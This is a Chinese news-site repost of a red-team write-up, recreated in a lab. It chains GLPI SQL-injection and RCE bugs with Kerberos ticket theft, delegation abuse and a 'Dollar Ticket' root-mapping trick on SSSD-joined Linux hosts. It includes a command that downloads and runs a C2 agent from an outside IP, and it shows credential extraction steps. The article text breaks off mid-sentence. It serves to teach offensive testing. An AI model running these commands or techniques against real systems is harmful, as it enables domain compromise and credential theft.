首页 时政热点 科技头条 智能AI 安全攻防 数码硬件 开发者生态 归档 标签 关于

红队实战复盘之 DollarTicket + SPN 劫持 + RBCD 桥接

摘要

前言 最近我们被委托进行内网演练,涉及 Linux 上的 Kerberos 票据操作、串联 RBCD 以绕过 Server 2025 防护的约束委派链,以及通过插件注入提取 KeePass 密码库。为了保护客户隐私,所有场景都在实验室环境中重新创建。 环境 FQDN IP OS env web01.corp.lab 10.0.0.12 Ubuntu 24.04 GLPI Web 服务器,入口 ap...

corp lab svc_ldap 2025 Linux Kerberos web01 tmp poseidon SSH
2026-11-13 1 阅读 约9分钟阅读 先知社区
分享:
字号:
前言 最近我们被委托进行内网演练,涉及 Linux 上的 Kerberos 票据操作、串联 RBCD 以绕过 Server 2025 防护的约束委派链,以及通过插件注入提取 KeePass 密码库。为了保护客户隐私,所有场景都在实验室环境中重新创建。 环境 FQDN IP OS env web01.corp.lab 10.0.0.12 Ubuntu 24.04 GLPI Web 服务器,入口 app01.corp.lab 10.0.0.11 WinServer 2025 域成员 dc01.corp.lab 10.0.0.10 WinServer 2025 域控 初始立足点 CVE-2025-24799(pre-auth_Sqli) MSF 模块(glpi_inventory_plugin_unauth_sqli)可以打,拿到 $2y$10 加密的密码,解密几天成功跑出 web 用户密码。 CVE-2025-24801(auth_RCE) 打 POC 拿到 www-data 权限 部署C2, Mythic Poseidon。 nohup wget -O /tmp/poseidon http://1.1.1.1:8080/poseidon >/tmp/wget.log 2>&1 & cd /tmp chmod +x poseidon ./poseidon 信息收集 1、SSH 进程 @notty 表示会话是非交互式会话,进程树显示 sleep 45 看起来像是一类自动化 SSH 会话。 2、数据库凭据信息 通过 config_db.php 文件获取到 MySQL 明文凭据。 3、提取 LDAP 密码 登录页面中存在 LDAP 集成功能,翻数据库表 glpi_authldaps 发现 GLPI 使用绑定账号 CN=svc_ldap,CN=Users,DC=corp,DC=lab 对 ldaps://dc01.corp.lab 进行认证,密码是用 GLPI 的密钥加密,配套密钥在 glpicrypt.key 文件,解密,成功拿到明文密码。 4、凭据有效性验证 nxc ldap 10.0.0.10 -u svc_ldap -p '' -d corp.lab LDAP 认证成功,确认凭据在域内有效 BloodHound 1、 svc_ldap 属于 LinuxUsers 组 2、LinuxUsers 组对 web01 拥有 ssh 权限。 3、 bot_svc 对 APP01$ 拥有 WriteSPN 权限。 这意味着 bot_svc 可以修改 APP01$ 计算机对象上的 servicePrincipalName 属性。SPN 决定哪个账号持有 Kerberos 服务票据的加密密钥,所以控制 SPN 非常强大。 4、 WEB01$ 拥有指向 HTTP/srv02 和 HTTP/srv02.corp.lab 的约束委派。这两个 SPN 当前不存在于任何域对象上。这个不寻常的配置成为提权链的核心。 srv02$ 是一个计算机账号, svc_ldap 可以重置其密码,这让我们可以控制 srv02$ 这个身份。 web01 上的 realm 配置确认该主机通过 SSSD加入了域 corp.lab type: kerberos realm-name: CORP.LAB configured: kerberos-member client-software: sssd permitted-groups: LinuxAdmins@corp.lab, LinuxUsers@corp.lab SSSD (System Security Services Daemon)处理 AD 与 Linux 之间的映射:Kerberos 认证、AD 到本地 UID/GID 的映射、家目录、shell 访问。 permitted-groups 一行显示哪些 AD 组被允许登录。 立足点2、ssh(svc_ldap) 以 svc_ldap 身份 SSH,成功获得一个真正的域用户会话,现在是域加入的 Linux 主机上的域用户了。 过程:SSH -> PAM -> SSSD -> KDC 校验. SSSD 检查 permitted-groups :svc ldap 属于 LinuxUsers 组,被允许登录 SSSD 把 svc_ldap@CORP.LAB 映射成一个本地 Linux 用户,分配本地 UID 给 shell 会话并在 /tmp 生成 krb5cc* 票据缓存文件 ssh 'svc_ldap@web01.corp.lab' password: 信息收集 1、Kerberos 缓存文件 ccache 以 svc_ldap 身份,我们可以在 /tmp/ 里看到 Kerberos 凭据缓存(ccache)文件: Ccache 文件是 Linux 上标准的 Kerberos 凭据存储格式。当用户通过 Kerberos 认证时——无论是 kinit 、带 GSSAPI 的 SSH 还是 SSSD——Kerberos 库会把得到的 TGT(票据授予票据)和任何服务票据存入 ccache 文件。这些文件等同于一个已登录的会话。任何持有有效 ccache 的人,不需要知道密码,只要把 KRB5CCNAME 环境变量指向该文件,就能以该用户身份认证。 bot_svc 的 ccache 文件在 /tmp/ ,权限是 -rw------- ,只有 bot_svc(或 root)能读。bot_svc 对 APP01$ 有 WriteSPN 权限。我们需要 web01 上的 root 才能偷到那张票据。 原理:Dollar Ticket 攻击 1、Dollar Ticket 攻击,漏洞在于 KDC 解析账户名称的方式,利用的是 SSSD 把 AD 账号映射为本地 Linux 用户身份的方式。在加入域的 Linux 主机上,SSSD 把 AD 账号名解析为本地 UID。默认这个映射是基于名称的: svc_ldap@CORP.LAB 映射为本地用户 svc_ldap bot_svc@CORP.LAB 映射为 bot_svc ,依此类推。 2、关键在于:这个映射对 root 这个名字同样适用。如果 AD 中存在名为 root 的账号,并且它通过 Kerberos(带 GSSAPI 的 SSH)向该 Linux 主机认证,SSSD 就会把 root@CORP.LAB 映射为本地 uid 0 的 root 用户。这个 AD 账号不需要任何特殊域权限,只需要名字对。 3、默认情况下,MAQ 允许创建机器账户。任何域用户可以创建机器账户,上限为(默认 MAQ = 10)。 机器账户名以 $ 结尾,但 SSSD 拿 $ 之前的 Kerberos 主体名去匹配本地用户名。如果我们创建一个名为 root$ 的机器账户,Kerberos 主体 root 就会映射到本地 uid 0。 构造攻击链: Dollar Ticket 攻击:创建一个名为 root$ 的 AD 机器账户,SSSD 会把它映射到本地 ui
这篇文章对您有帮助吗?

订阅66必读

每日精选科技资讯,直达你的邮箱